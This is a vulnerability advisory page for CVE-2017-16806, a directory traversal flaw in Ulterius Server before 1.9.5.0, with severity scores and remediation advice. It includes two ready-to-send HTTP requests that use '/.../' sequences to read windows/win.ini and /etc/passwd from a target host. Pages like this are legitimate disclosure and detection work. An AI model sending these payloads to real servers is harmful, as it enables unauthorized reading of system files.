🔙 목록으로 돌아가기

CVE-2017-16806: Ulterius Server < 1.9.5.0 - Directory Traversal

TitleUlterius Server < 1.9.5.0 - Directory Traversal
Authorgeeknik
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
RemediationUpgrade Ulterius Server to version 1.9.5.0 or later to mitigate the directory traversal vulnerability.
CVSS Score7.5
EPSS Score0.9018
CVE IDCVE-2017-16806
CWE IDCWE-22
Tags cve2017 cve ulterius traversal edb vuln

🔍 Vulnerability Description

Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs.

🌐 HTTP Request

GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /.../.../.../.../.../.../.../.../.../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-16806.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-16806.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A